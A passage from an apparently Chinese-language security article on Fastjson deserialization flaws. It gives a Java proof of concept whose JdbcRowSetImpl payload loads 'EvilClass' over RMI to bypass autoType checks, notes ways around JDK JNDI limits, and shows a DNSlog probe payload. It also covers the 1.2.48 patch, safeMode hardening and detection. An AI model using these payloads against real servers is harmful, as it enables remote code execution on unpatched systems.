,于是clazz就有了值,可以直接绕过第二次黑白名单判断,直接返回,从而成功绕过checkAutoType()
的检测造成JNDI注入。
开启AutoTypeSupport
package JdbcRowSetImpl_Exploit;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
public class JdbcRowSetImpl_EXP {
public static void main(String[] argv){
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
// String payload = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\"dataSourceName\":\"rmi://127.0.0.1:1099/EvilClass\", \"autoCommit\":true}";
String payload = "{\"a\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},"
+ "\"b\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\","
+ "\"dataSourceName\":\"rmi://127.0.0.1:1099/EvilClass\",\"autoCommit\":true}}";
JSON.parse(payload);
}
}
满足版本的情况下,也能执行成功,来看一下关键的绕过代码
在判断java.lang.Class
的时候,跟前面步骤一样,会将com.sun.rowset.JdbcRowSetImpl
加入缓存;关键在于遍历第二个json,即com.sun.rowset.JdbcRowSetImpl
时,是怎么绕过黑名单的?
看下面关键判断语句,发现第一个条件是为true的,因为com.sun.rowset.JdbcRowSetImpl
在黑名单中,但是第二个判断条件为false,因为com.sun.rowset.JdbcRowSetImpl
在map缓存中是找得到的,从而导致这个黑名单判断语句失效。
if (className.startsWith(accept) && TypeUtils.getClassFromMapping(typeName) == null)
为什么1.2.25-1.2.32版本开启AutoTypeSupport反而不能成功触发?
对比发现正是因为这个判断位置不一样,少了个判断条件,即TypeUtils.getClassFromMapping(typeName) == null
补丁
针对上述问题,1.2.48
中的修复措施是,在loadClass()时,将缓存开关默认置为False,所以默认是不能通过Class加载进缓存了。同时将Class类加入到了黑名单中。
safeMode加固
Fastjson在1.2.68及之后的版本中引入了safeMode,配置safeMode后,无论白名单和黑名单,都不支持autoType,可杜绝反序列化Gadgets类变种攻击。开启safeMode是完全关闭autoType功能,可能会有兼容问题。
具体参考:https://github.com/alibaba/fastjson/wiki/security_update_20220523
目前2022年5月23日发布的Fastjson 1.2.83是1.x系列的最后一个版本
从2022年4月17日开始,Fastjson也进入了2.0时代。
高版本JDK绕过思路
由之前利用的PoC知道,利用范围最广的PoC是基于com.sun.rowset.JdbcRowSetImpl
的利用链的,而这种利用方式是基于JNDI注入漏洞的,是需要我们有RMI服务或LDAP服务。
这样就会导致一个限制的问题,即JNDI注入漏洞利用的限制问题——JDK版本。
由之前的分析知道,JDK对于JNDI注入漏洞在不同版本有着不同的防御措施:
- JDK 6u45、7u21之后:
java.rmi.server.useCodebaseOnly
的默认值被设置为true。当该值为true时,将禁用自动加载远程类文件,仅从CLASSPATH和当前JVM的java.rmi.server.codebase
指定路径加载类文件。使用这个属性来防止客户端VM从其他Codebase地址上动态加载类,增加了RMI ClassLoader的安全性。 - JDK 6u141、7u131、8u121之后:增加了
com.sun.jndi.rmi.object.trustURLCodebase
选项,默认为false,禁止RMI和CORBA协议使用远程codebase的选项,因此RMI和CORBA在以上的JDK版本上已经无法触发该漏洞,但依然可以通过指定URI为LDAP协议来进行JNDI注入攻击。 - JDK 6u211、7u201、8u191之后:增加了
com.sun.jndi.ldap.object.trustURLCodebase
选项,默认为false,禁止LDAP协议使用远程codebase的选项,把LDAP协议的攻击途径也给禁了。
因此,相比之下,我们在Fastjson反序列化漏洞的基于com.sun.rowset.JdbcRowSetImpl
的利用链上,更倾向于使用LDAP服务来实现攻击利用,因为其对于JDK的适用范围更广。
但是如果目标环境的JDK版本在6u211、7u201、8u191之后,我们是不是就没有办法绕过了呢?
当然是有的,参考:如何绕过高版本JDK的限制进行JNDI注入利用
主要是有两种方式:
- 利用本地Class作为Reference Factory
- 利用LDAP返回序列化数据,触发本地Gadget
具体可参考另一篇文章:浅析高低版JDK下的JNDI注入及绕过
检测思路
白盒
全局搜索是否使用到了Fastjson,若使用了则进一步排查是否为漏洞版本号即1.2.22-1.2.47,若是则可能存在反序列化漏洞的风险,需进一步排查。
全局搜索如下关键代码,若存在则进一步排查参数是否外部可控:
import com.alibaba.fastjson.JSON;
JSON.parse(
JSON.parseObject(
黑盒
1.HTTP请求包如果是JSON格式的数据,就有可能是Fastjson。
2.抓到包以后,将请求方法改为POST;请求头部Content-Type
字段修改为Content-Type: application/json
;如下删除json格式包的一半,观察报错是否有fastjson之类的特征。
{
"name":"1
3.java.net.InetAddress
这个类在实例化时会尝试作对example.com做域名解析,这时候可以通过dnslog的方式得知漏洞是否存在。
{
"name":{
"@type":"java.net.InetAddress",
"val":"i1q73g.dnslog.cn"
}
}
参考
Fastjson系列:http://www.mi1k7ea.com/archives/2019/
Fastjson反序列化漏洞的调试与分析:https://blog.csdn.net/qq_34101364/article/details/111706189
Fastjson系列-漏洞复现:https://www.freebuf.com/vuls/358459.html
Fastjson不出网利用总结:https://xz.aliyun.com/t/12492